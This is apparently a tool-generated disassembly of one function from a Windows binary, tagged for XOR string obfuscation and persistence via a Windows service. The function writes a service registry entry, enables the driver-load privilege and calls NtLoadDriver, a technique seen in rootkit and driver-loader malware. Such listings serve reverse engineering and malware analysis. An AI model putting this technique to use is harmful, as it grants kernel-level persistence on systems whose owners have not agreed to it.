Function at 0x140015f00
Capabilities:
Encode data using xor
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x148]
sub rsp, 0x230
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
mov rax, qword [0x1400ac040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rbx, rcx
xor r14d, r14d
lea rcx, [rbp + 0x30]
call fcn.14000e6e0
nop
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
mov rcx, qword [rbp + 0x40]
sub rax, rcx
cmp rax, 0x22
jb 0x140016e05
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.1400145b0
nop
mov rcx, qword [rbx + 0x10]
mov rax, rdi
sub rax, rcx
cmp rax, 4
jb 0x140016e0b
cmp qword [rbx + 0x18], 7
jbe 0x140015fcb
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 4
lea r9, str.___
lea rcx, [rbp + 0x50]
call fcn.1400145b0
nop
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
movdqa xmm8, xmmword [0x14009bd20]
test eax, eax
je 0x1400161c7
movups xmm0, xmmword [0x140098ae8]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140098af8]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140098b00]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x140098b04]
mov byte [rsp + 0x6c], al
mov ecx, r14d
cmp dword [0x1400ac090], 2
jl 0x140016184
movdqa xmm4, xmmword [0x14009bda0]
movdqa xmm3, xmmword [0x14009be80]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x14009bf00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x54]
mov r8d, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x14009be20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x1400160a0
cmp ecx, 0x1d
jge 0x1400161bd
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1d
jl 0x140016190
lea rdx, [rsp + 0x50]
jmp 0x1400163b2
mov eax, dword [rbp + 0x60]
add eax, eax
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rcx, qword [rbp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x14001641a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140098a48]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140098a58]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140098a68]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140098a70]
mov dword [rsp + 0x78], eax
mov ecx, r14d
cmp dword [0x1400ac090], 2
jl 0x140016374
movdqa xmm4, xmmword [0x14009bda0]
movdqa xmm3, xmmword [0x14009be80]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x14009bf00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x54]
mov r8d, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x14009be20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140016290
cmp ecx, 0x2c
jge 0x1400163ad
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2c
jl 0x140016380
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140013830
lea rdx, [0x140013a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor bl, bl
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x140016d06
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016cf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016cf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x28], 4
lea rax, [0x140098bec]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x140016607
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x140098bf0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140098c00]
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x140098c10]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140098c14]
mov word [rsp + 0x74], ax
movzx eax, byte [0x140098c16]
mov byte [rsp + 0x76], al
mov ecx, r14d
cmp dword [0x1400ac090], 2
jl 0x1400165c4
movdqa xmm4, xmmword [0x14009bda0]
movdqa xmm3, xmmword [0x14009be80]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x14009bf00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x54]
mov r8d, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x14009be20]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1400164e0
cmp ecx, 0x27
jge 0x1400165fd
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x27
jl 0x1400165d0
lea rdx, [rsp + 0x50]
jmp 0x1400163b2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x1400983e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x1400163ce
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r9, [rbp + 0x28]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call rbx
test eax, eax
jns 0x140016826
movups xmm0, xmmword [str.qYM_W]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140098a90]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x140098aa0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140098ab0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x140098ac0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140098ad0]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x140098ae0]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x140098ae4]
mov byte [rbp - 0x1c], al
mov ecx, r14d
cmp dword [0x1400ac090], 2
jl 0x1400167e4
movdqa xmm4, xmmword [0x14009bda0]
movdqa xmm3, xmmword [0x14009be80]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x14009bf00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x14009be20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140016700
cmp ecx, 0x65
jge 0x14001681d
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x65
jl 0x1400167f0
lea rdx, [rbp - 0x80]
jmp 0x1400163b2
mov rcx, qword [rbp + 0x40]
sub rdi, rcx
cmp rdi, 0x34
jb 0x140016dff
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.1400145b0
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0xb0]
call rsi
mov ebx, eax
cmp eax, 0xc0000603
jne 0x140016cd4
movups xmm0, xmmword [0x140098b10]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140098b20]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x140098b30]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140098b40]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x140098b50]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140098b60]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x140098b70]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140098b80]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x140098b90]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140098ba0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140098ba8]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140098bac]
mov word [rbp + 0x1c], ax
movzx eax, byte [0x140098bae]
mov byte [rbp + 0x1e], al
mov ecx, r14d
movdqa xmm9, xmmword [0x14009be20]
movdqa xmm7, xmmword [0x14009bf00]
movdqa xmm10, xmmword [str.7777]
movdqa xmm6, xmmword [0x14009be80]
movdqa xmm11, xmmword [0x14009bda0]
mov edi, dword [0x1400ac090]
cmp edi, 2
jl 0x140016a70
movdqa xmmword [rsp + 0x40], xmm7
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x98
jl 0x140016980
cmp ecx, 0x9f
jge 0x140016ab0
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x9f
jl 0x140016a80
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140013830
lea rdx, [0x140013a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movups xmm0, xmmword [0x1400989d0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400989e0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400989f0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140098a00]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x140098a10]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140098a20]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x140098a30]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x140098a40]
movsd qword [rbp - 0x10], xmm0
mov ecx, r14d
cmp edi, 2
jl 0x140016c37
mov edx, r14d
movdqa xmmword [rsp + 0x40], xmm7
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x78
jl 0x140016b50
jmp 0x140016c6d
lea r8, [rbp - 0x80]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x37
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x78
jl 0x140016c40
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140013830
lea rdx, [0x140013a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140016ce5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016ce0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016ce0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp ebx, 0xc000010e
jne 0x140016c8d
mov bl, 1
jmp 0x140016c93
call fcn.140084894
movdqu xmmword [rbp + 0x80], xmm8
mov word [rbp + 0x70], r14w
jmp 0x1400163d0
call fcn.140084894
movdqa xmm8, xmmword [0x14009bd20]
movdqu xmmword [rbp + 0x60], xmm8
mov word [rbp + 0x50], r14w
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x140016d63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016d55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016d55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084894
movdqa xmm8, xmmword [0x14009bd20]
movdqu xmmword [rbp + 0xa0], xmm8
mov word [rbp + 0x90], r14w
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x140016db7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016db2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016db2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140084894
movzx eax, bl
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140084830
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1400023e0
nop
call fcn.1400023e0
nop
call fcn.1400023e0
int3